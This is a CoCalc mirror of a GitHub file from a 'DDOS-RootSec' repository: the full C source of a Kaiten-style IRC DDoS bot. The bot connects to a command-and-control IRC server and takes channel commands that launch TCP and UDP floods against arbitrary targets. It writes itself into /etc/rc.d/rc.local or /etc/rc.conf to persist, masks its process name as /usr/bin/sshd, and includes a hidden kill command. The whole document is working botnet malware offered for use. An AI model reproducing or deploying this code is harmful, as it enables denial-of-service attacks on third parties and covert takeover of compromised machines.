Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/kaitenstd.c
4565 views
1
#define STARTUP //set to define if rooted
2
#undef IDENT
3
#define FAKENAME "/usr/bin/sshd"
4
#define CHAN "#Channel"
5
#define KEY "key"
6
#define PORT 443
7
#define PASS ""
8
#define STD2_STRING "std"
9
#define STD2_SIZE 50
10
#define PREFIX ""
11
int numservers=1;
12
char *servers[] = {
13
"1.1.1.1",
14
(void*)0
15
};
16
17
#include <stdarg.h>
18
#include <errno.h>
19
#include <stdio.h>
20
#include <stdlib.h>
21
#include <string.h>
22
#include <sys/types.h>
23
#include <sys/stat.h>
24
#include <fcntl.h>
25
#include <strings.h>
26
#include <netinet/in.h>
27
#include <unistd.h>
28
#include <sys/time.h>
29
#include <sys/socket.h>
30
#include <signal.h>
31
#include <arpa/inet.h>
32
#include <netdb.h>
33
#include <time.h>
34
#include <sys/wait.h>
35
#include <sys/ioctl.h>
36
37
int sock,changeservers=0;
38
char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";
39
unsigned int *pids;
40
unsigned long spoofs=0, spoofsm=0, numpids=0;
41
42
int strwildmatch(unsigned char* pattern, unsigned char* string) {
43
switch((unsigned char)*pattern) {
44
case '\0': return *string;
45
case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
46
case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
47
case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
48
case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
49
case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
50
case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
51
case '?': return !(*string && !strwildmatch(pattern+1, string+1));
52
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
53
}
54
}
55
int Send(int sock, char *words, ...) {
56
static char textBuffer[1024];
57
va_list args;
58
va_start(args, words);
59
vsprintf(textBuffer, words, args);
60
va_end(args);
61
return write(sock,textBuffer,strlen(textBuffer));
62
}
63
unsigned int host2ip(char *sender,char *hostname) {
64
static struct in_addr i;
65
struct hostent *h;
66
if((i.s_addr = inet_addr(hostname)) == -1) {
67
if((h = gethostbyname(hostname)) == NULL) {
68
Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
69
exit(0);
70
}
71
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
72
}
73
return i.s_addr;
74
}
75
int mfork(char *sender) {
76
unsigned int parent, *newpids, i;
77
if (disabled == 1) {
78
Send(sock,"NOTICE %s :Unable to comply.\n",sender);
79
return 1;
80
}
81
parent=fork();
82
if (parent <= 0) return parent;
83
numpids++;
84
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
85
for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
86
newpids[numpids-1]=parent;
87
free(pids);
88
pids=newpids;
89
return parent;
90
}
91
void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
92
char *makestring() {
93
char *tmp;
94
int len=(rand()%5)+4,i;
95
FILE *file;
96
tmp=(char*)malloc(len+1);
97
memset(tmp,0,len+1);
98
char *pre;
99
if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
100
else {
101
int a=((rand()*rand())%45402)+1;
102
char buf[1024];
103
for (i=0;i<a;i++) fgets(buf,1024,file);
104
memset(buf,0,1024);
105
fgets(buf,1024,file);
106
filter(buf);
107
memcpy(tmp,buf,len);
108
fclose(file);
109
}
110
return tmp;
111
}
112
void identd() {
113
int sockname,sockfd,sin_size,tmpsock,i;
114
struct sockaddr_in my_addr,their_addr;
115
char szBuffer[1024];
116
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
117
my_addr.sin_family = AF_INET;
118
my_addr.sin_port = htons(113);
119
my_addr.sin_addr.s_addr = INADDR_ANY;
120
memset(&(my_addr.sin_zero), 0, 8);
121
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
122
if (listen(sockfd, 1) == -1) return;
123
if (fork() == 0) return;
124
sin_size = sizeof(struct sockaddr_in);
125
if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
126
for(;;) {
127
fd_set bla;
128
struct timeval timee;
129
FD_ZERO(&bla);
130
FD_SET(tmpsock,&bla);
131
timee.tv_sec=timee.tv_usec=60;
132
if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
133
if (FD_ISSET(tmpsock,&bla)) break;
134
}
135
i = recv(tmpsock,szBuffer,1024,0);
136
if (i <= 0 || i >= 20) exit(0);
137
szBuffer[i]=0;
138
if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
139
if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
140
Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
141
close(tmpsock);
142
close(sockfd);
143
exit(0);
144
}
145
146
//STD Attack
147
void std(int sock, char *sender, int argc, char **argv) {
148
if (argc < 3) {
149
150
Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);
151
exit(1);
152
153
}
154
unsigned long secs;
155
156
int iSTD_Sock;
157
158
iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
159
160
time_t start = time(NULL);
161
secs = atol(argv[3]);
162
if (mfork(sender) != 0) return;
163
Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
164
165
struct sockaddr_in sin;
166
167
struct hostent *hp;
168
169
hp = gethostbyname(argv[1]);
170
171
bzero((char*) &sin,sizeof(sin));
172
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
173
sin.sin_family = hp->h_addrtype;
174
sin.sin_port = atol(argv[2]);
175
176
unsigned int a = 0;
177
178
while(1){
179
if (a >= 50)
180
{
181
send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
182
connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
183
if (time(NULL) >= start + secs)
184
{
185
Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
186
close(iSTD_Sock);
187
exit(0);
188
}
189
a = 0;
190
}
191
a++;
192
}
193
194
195
}
196
197
void stop(int sock, char *sender, int argc, char **argv){
198
unsigned long i;
199
for (i=0;i<numpids;i++) {
200
if (pids[i] != 0 && pids[i] != getpid()) {
201
if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
202
kill(pids[i],9);
203
}
204
}
205
}
206
207
void unknown(int sock, char *sender, int argc, char **argv) {
208
int flag=1,fd,i;
209
unsigned long secs;
210
char *buf=(char*)malloc(9216);
211
struct hostent *hp;
212
struct sockaddr_in in;
213
214
time_t start=time(NULL);
215
216
if (mfork(sender) != 0) return;
217
218
if (argc != 2) {
219
Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
220
exit(1);
221
}
222
223
secs=atol(argv[2]);
224
225
memset((void*)&in,0,sizeof(struct sockaddr_in));
226
227
in.sin_addr.s_addr=host2ip(sender,argv[1]);
228
in.sin_family = AF_INET;
229
230
Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
231
232
while(1) {
233
234
in.sin_port = rand();
235
236
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
237
} else {
238
flag=1;
239
ioctl(fd,FIONBIO,&flag);
240
sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
241
close(fd);
242
}
243
244
if (i >= 50) {
245
if (time(NULL) >= start+secs) break;
246
i=0;
247
}
248
i++;
249
}
250
Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
251
close(fd);
252
exit(0);
253
}
254
255
//Kill the bot
256
void killsec(int sock, char *sender, int argc, char **argv) {
257
258
if(strcasecmp(adminuser1,sender) == 0){
259
260
kill(0,9);
261
262
} else {
263
264
Send(sock,"PRIVMSG %s :Nice try...\n", chan);
265
266
}
267
}
268
269
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
270
{ "+std" , std },
271
{ "+stop" , stop },
272
{ "+unknown" , unknown },
273
{ "Kkt9x4JApM0RuSqCLA" , killsec },
274
{ (char *)0, (void (*)(int,char *,int,char **))0 } };
275
276
void _PRIVMSG(int sock, char *sender, char *str) {
277
int i;
278
char *to, *message;
279
280
for (i=0;i<strlen(str) && str[i] != ' ';i++);
281
str[i]=0;
282
to=str;
283
message=str+i+2;
284
for (i=0;i<strlen(sender) && sender[i] != '!';i++);
285
sender[i]=0;
286
if (*message == '>' && !strcasecmp(to,chan)) {
287
char *params[12], name[1024]={0};
288
int num_params=0, m;
289
message++;
290
for (i=0;i<strlen(message) && message[i] != ' ';i++);
291
message[i]=0;
292
if (strwildmatch(message,nick)) return;
293
message+=i+1;
294
m=strlen(message);
295
for (i=0;i<m;i++) {
296
if (*message == ' ' || *message == 0) break;
297
name[i]=*message;
298
message++;
299
}
300
for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
301
num_params++;
302
if (num_params > 10) num_params=10;
303
params[0]=name;
304
params[num_params+1]="\0";
305
m=1;
306
while (*message != 0) {
307
message++;
308
if (m >= num_params) break;
309
for (i=0;i<strlen(message) && message[i] != ' ';i++);
310
params[m]=(char*)malloc(i+1);
311
strncpy(params[m],message,i);
312
params[m][i]=0;
313
m++;
314
message+=i;
315
}
316
for (m=0; flooders[m].cmd != (char *)0; m++) {
317
if (!strcasecmp(flooders[m].cmd,name)) {
318
flooders[m].func(sock,sender,num_params-1,params);
319
for (i=1;i<num_params;i++) free(params[i]);
320
return;
321
}
322
}
323
}
324
}
325
void _376(int sock, char *sender, char *str) {
326
Send(sock,"MODE %s +pixB\n",nick);
327
Send(sock,"JOIN %s :%s\n",chan,key);
328
Send(sock,"WHO %s\n",nick);
329
}
330
void _PING(int sock, char *sender, char *str) {
331
332
Send(sock,"PONG %s\n",str);
333
334
}
335
336
void _352(int sock, char *sender, char *str) {
337
int i,d;
338
char *msg=str;
339
struct hostent *hostm;
340
unsigned long m;
341
for (i=0,d=0;d<5;d++) {
342
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
343
if (i == strlen(str)) return;
344
}
345
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
346
msg[i]=0;
347
if (!strcasecmp(msg,nick) && !spoofsm) {
348
msg=str;
349
for (i=0,d=0;d<3;d++) {
350
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
351
if (i == strlen(str)) return;
352
}
353
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
354
msg[i]=0;
355
if ((m = inet_addr(msg)) == -1) {
356
if ((hostm=gethostbyname(msg)) == NULL) {
357
Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
358
return;
359
}
360
memcpy((char*)&m, hostm->h_addr, hostm->h_length);
361
}
362
((char*)&spoofs)[3]=((char*)&m)[0];
363
((char*)&spoofs)[2]=((char*)&m)[1];
364
((char*)&spoofs)[1]=((char*)&m)[2];
365
((char*)&spoofs)[0]=0;
366
spoofsm=256;
367
}
368
}
369
void _433(int sock, char *sender, char *str) {
370
free(nick);
371
char tempnick[50];
372
char *strpref = PREFIX;
373
char *genname = makestring();
374
strcpy(tempnick,strpref);
375
strcat(tempnick,genname);
376
nick=tempnick;
377
}
378
379
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
380
{ "352", _352 },
381
{ "376", _376 },
382
{ "433", _433 },
383
{ "422", _376 },
384
{ "PRIVMSG", _PRIVMSG },
385
{ "PING", _PING },
386
{ (char *)0, (void (*)(int,char *,char *))0 } };
387
void con() {
388
struct sockaddr_in srv;
389
unsigned long ipaddr,start;
390
int flag;
391
struct hostent *hp;
392
start:
393
sock=-1;
394
flag=1;
395
if (changeservers == 0) server=servers[rand()%numservers];
396
changeservers=0;
397
while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
398
if (inet_addr(server) == 0 || inet_addr(server) == -1) {
399
if ((hp = gethostbyname(server)) == NULL) {
400
server=NULL;
401
close(sock);
402
goto start;
403
}
404
bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
405
}
406
else srv.sin_addr.s_addr=inet_addr(server);
407
srv.sin_family = AF_INET;
408
srv.sin_port = htons(PORT);
409
ioctl(sock,FIONBIO,&flag);
410
start=time(NULL);
411
while(time(NULL)-start < 10) {
412
errno=0;
413
if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
414
setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
415
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
416
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
417
return;
418
}
419
if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
420
sleep(1);
421
}
422
server=NULL;
423
close(sock);
424
goto start;
425
}
426
int main(int argc, char *argv[]) {
427
int on,i;
428
char cwd[256],*str;
429
FILE *file;
430
#ifdef STARTUP
431
str="/etc/rc.d/rc.local";
432
file=fopen(str,"r");
433
if (file == NULL) {
434
str="/etc/rc.conf";
435
file=fopen(str,"r");
436
}
437
if (file != NULL) {
438
char outfile[256], buf[1024];
439
int i=strlen(argv[0]), d=0;
440
getcwd(cwd,256);
441
if (strcmp(cwd,"/")) {
442
while(argv[0][i] != '/') i--;
443
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
444
while(!feof(file)) {
445
fgets(buf,1024,file);
446
if (!strcasecmp(buf,outfile)) d++;
447
}
448
if (d == 0) {
449
FILE *out;
450
fclose(file);
451
out=fopen(str,"a");
452
if (out != NULL) {
453
fputs(outfile,out);
454
fclose(out);
455
}
456
}
457
else fclose(file);
458
}
459
else fclose(file);
460
}
461
#endif
462
if (fork()) exit(0);
463
#ifdef FAKENAME
464
strncpy(argv[0],FAKENAME,strlen(argv[0]));
465
for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
466
#endif
467
srand((time(NULL) ^ getpid()) + getppid());
468
char tempnick[50];
469
char *strpref = PREFIX;
470
char *genname = makestring();
471
472
strcpy(tempnick,strpref);
473
strcat(tempnick,genname);
474
475
nick=tempnick;
476
ident="STD";
477
user="STD IRC Bot";
478
chan=CHAN;
479
key=KEY;
480
pass=PASS;
481
server=NULL;
482
sa:
483
#ifdef IDENT
484
for (i=0;i<numpids;i++) {
485
if (pids[i] != 0 && pids[i] != getpid()) {
486
kill(pids[i],9);
487
waitpid(pids[i],NULL,WNOHANG);
488
}
489
}
490
pids=NULL;
491
numpids=0;
492
identd();
493
#endif
494
495
con();
496
Send(sock,"PASS %s\n", pass);
497
Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
498
while(1) {
499
unsigned long i;
500
fd_set n;
501
struct timeval tv;
502
FD_ZERO(&n);
503
FD_SET(sock,&n);
504
tv.tv_sec=60*20;
505
tv.tv_usec=0;
506
if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
507
for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
508
unsigned int *newpids,on;
509
for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
510
pids[on-1]=0;
511
numpids--;
512
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
513
for (on=0;on<numpids;on++) newpids[on]=pids[on];
514
free(pids);
515
pids=newpids;
516
}
517
if (FD_ISSET(sock,&n)) {
518
char buf[4096], *str;
519
int i;
520
if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
521
buf[i]=0;
522
str=strtok(buf,"\n");
523
while(str && *str) {
524
char name[1024], sender[1024];
525
filter(str);
526
if (*str == ':') {
527
for (i=0;i<strlen(str) && str[i] != ' ';i++);
528
str[i]=0;
529
strcpy(sender,str+1);
530
strcpy(str,str+i+1);
531
}
532
else strcpy(sender,"*");
533
for (i=0;i<strlen(str) && str[i] != ' ';i++);
534
str[i]=0;
535
strcpy(name,str);
536
strcpy(str,str+i+1);
537
for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
538
if (!strcasecmp(name,"ERROR")) goto sa;
539
str=strtok((char*)NULL,"\n");
540
}
541
}
542
}
543
return 0;
544
}
545